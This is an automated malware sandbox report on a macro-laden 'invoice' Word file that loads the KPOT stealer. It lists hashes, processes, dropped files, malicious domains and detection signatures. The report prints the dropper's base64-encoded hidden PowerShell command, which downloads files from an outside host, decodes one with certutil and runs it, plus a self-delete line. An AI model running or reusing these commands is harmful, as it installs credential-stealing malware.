analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

gpay_Invoice.doc

Full analysis: https://app.any.run/tasks/e43dae97-1cbe-432c-82a0-0b0b42152ea3
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: March 30, 2020, 18:00:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
autoit
trojan
opendir
stealer
kpot
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: user, Template: Normal, Last Saved By: User, Revision Number: 17, Name of Creating Application: Microsoft Office Word, Total Editing Time: 16:00, Create Time/Date: Mon Mar 23 21:08:00 2020, Last Saved Time/Date: Mon Mar 30 15:05:00 2020, Number of Pages: 1, Number of Words: 91, Number of Characters: 519, Security: 0
MD5:

4A401D041E4208772C05DECCF0B614BB

SHA1:

03F669BF1BB6E40F5677F6A65C6F7583CC0F3FCF

SHA256:

734A56F1E63DCEA04A5454D009AF25002B3FE58BB493EEB3CE7F77112B6B9776

SSDEEP:

3072:jeijcTqxcqr3fYp0koMP21RCERChq+hr0vvvvyGPPPPPjZsWcc8qsFimBx+knro2:J8qsFiMx+kroLU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • tkold.com (PID: 1724)
      • tkold.com (PID: 628)
    • Uses SVCHOST.EXE for hidden code execution

      • tkold.com (PID: 1724)
    • KPOT was detected

      • svchost.exe (PID: 3432)
    • Connects to CnC server

      • svchost.exe (PID: 3432)
  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 2740)
    • Executed via WMI

      • powershell.exe (PID: 2740)
    • Creates files in the user directory

      • powershell.exe (PID: 2740)
    • Starts application with an unusual extension

      • tkold.com (PID: 628)
      • powershell.exe (PID: 2740)
    • Starts CertUtil for decode files

      • powershell.exe (PID: 2740)
    • Reads the cookies of Google Chrome

      • svchost.exe (PID: 3432)
    • Starts CMD.EXE for self-deleting

      • svchost.exe (PID: 3432)
    • Reads the cookies of Mozilla Firefox

      • svchost.exe (PID: 3432)
    • Starts CMD.EXE for commands execution

      • svchost.exe (PID: 3432)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2872)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2872)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

Title: -
Subject: -
Author: user
Keywords: -
Comments: -
Template: Normal
LastModifiedBy: User
RevisionNumber: 17
Software: Microsoft Office Word
TotalEditTime: 16.0 minutes
CreateDate: 2020:03:23 21:08:00
ModifyDate: 2020:03:30 14:05:00
Pages: 1
Words: 91
Characters: 519
Security: None
CodePage: Unicode (UTF-8)
Company: diakov.net
Lines: 4
Paragraphs: 1
CharCountWithSpaces: 609
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: -
CompObjUserType: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe no specs certutil.exe no specs tkold.com no specs tkold.com no specs #KPOT svchost.exe cmd.exe no specs ping.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2872"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\gpay_Invoice.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2740powershell -windowstyle hidden -en SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIABoAHQAdABwADoALwAvAHMAaABvAHcAMgAuAHcAZQBiAHMAaQB0AGUALwBnAGUAWgBqAFMALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8AdwAyAC4AdwBlAGIAcwBpAHQAZQAvAG4ATQBiAGQALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AcwBoAG8AdwAyAC4AdwBlAGIAcwBpAHQAZQAvAGEAYwBQAE0AUQAuAGQAYQB0ACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAdABrAG8AbABkAC4AYwBvAG0AIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXAB4AHQAZAA0ADIAIgAsACIAJABlAG4AdgA6AFQARQBNAFAAXABhAGMAUABNAFEALgBjAG8AbQAiADsAIABTAGUAdAAtAEwAbwBjAGEAdABpAG8AbgAgAC0AUABhAHQAaAAgACIAJABlAG4AdgA6AFQARQBNAFAAIgA7ACAAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAHgAdABkADQAMgAgAHkAMgA5AHgAMwA7ACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAdABrAG8AbABkACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgAHkAMgA5AHgAMwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3860"C:\Windows\system32\certutil.exe" -decode xtd42 y29x3C:\Windows\system32\certutil.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
628"C:\Users\admin\AppData\Local\Temp\tkold.com" y29x3 C:\Users\admin\AppData\Local\Temp\tkold.compowershell.exe
User:
admin
Company:
AutoIt Team
Integrity Level:
MEDIUM
Description:
AutoIt v3 Script
Exit code:
0
Version:
3, 3, 14, 5
1724C:\Users\admin\AppData\Local\Temp\tkold.com y29x3 C:\Users\admin\AppData\Local\Temp\tkold.comtkold.com
User:
admin
Company:
AutoIt Team
Integrity Level:
MEDIUM
Description:
AutoIt v3 Script
Exit code:
0
Version:
3, 3, 14, 5
3432"C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe
tkold.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2940"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Windows\system32\svchost.exe"C:\Windows\system32\cmd.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2244ping 127.0.0.1 C:\Windows\system32\PING.EXEcmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
2 164
Read events
1 436
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
2
Unknown types
2

Dropped files

PID
Process
Filename
Type
2872WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR5EE1.tmp.cvr
MD5:
SHA256:
2740powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5AK80LS85NJ530QYENQW.temp
MD5:
SHA256:
2872WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:418CEC2118A1AF556C045413763E1729
SHA256:45BD53F623F09C58A6AC6A5318BC7986DCBD9779B282719620EA25028C7E249B
2740powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa66847.TMPbinary
MD5:3B712DE36DC1672EC51A90C5EE31744F
SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1
3860certutil.exeC:\Users\admin\AppData\Local\Temp\y29x3text
MD5:C77EECE995B5C5F93282B23F0C439EFD
SHA256:8702CF55C62887AEB8724DEDA16FDCC901AC2A23FF23FAA1D73D47BBE6465E34
2872WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ay_Invoice.docpgc
MD5:34E7D196CD0631378D365F1A79FAC0E4
SHA256:033AD555DED0117713BC197F907638255E3FF633B05F1A74E1E791D379362E26
2740powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:3B712DE36DC1672EC51A90C5EE31744F
SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1
2872WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryRU0419.lextext
MD5:F3B25701FE362EC84616A93A45CE9998
SHA256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
5
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
HEAD
200
93.126.60.42:80
http://show2.website/acPMQ.dat
IR
malicious
HEAD
200
93.126.60.42:80
http://show2.website/nMbd.dat
IR
malicious
HEAD
200
93.126.60.42:80
http://show2.website/geZjS.dat
IR
malicious
3432
svchost.exe
GET
122.122.122.122:80
http://krt2.site/
TW
malicious
3432
svchost.exe
GET
122.122.122.122:80
http://krt2.site/
TW
malicious
GET
200
93.126.60.42:80
http://show2.website/geZjS.dat
IR
executable
872 Kb
malicious
GET
200
93.126.60.42:80
http://show2.website/acPMQ.dat
IR
binary
91.5 Kb
malicious
GET
200
93.126.60.42:80
http://show2.website/nMbd.dat
IR
text
263 Kb
malicious
3432
svchost.exe
GET
200
93.126.60.42:80
http://krt3.site/
IR
html
928 b
malicious
3432
svchost.exe
GET
200
93.126.60.42:80
http://krt3.site/uhGaUGnzIIOPpoP9/conf.php
IR
text
476 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3432
svchost.exe
122.122.122.122:80
krt2.site
Data Communication Business Group
TW
suspicious
3432
svchost.exe
93.126.60.42:80
show2.website
Asmanfaraz Sepahan Isdp (pjs)
IR
malicious
93.126.60.42:80
show2.website
Asmanfaraz Sepahan Isdp (pjs)
IR
malicious

DNS requests

Domain
IP
Reputation
show2.website
  • 93.126.60.42
malicious
krt1.site
malicious
krt2.site
  • 122.122.122.122
malicious
krt3.site
  • 93.126.60.42
malicious

Threats

PID
Process
Class
Message
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
Misc activity
ET INFO Certificate with Unknown Content M1
3432
svchost.exe
A Network Trojan was detected
STEALER [PTsecurity] Kpot
2 ETPRO signatures available at the full report
No debug info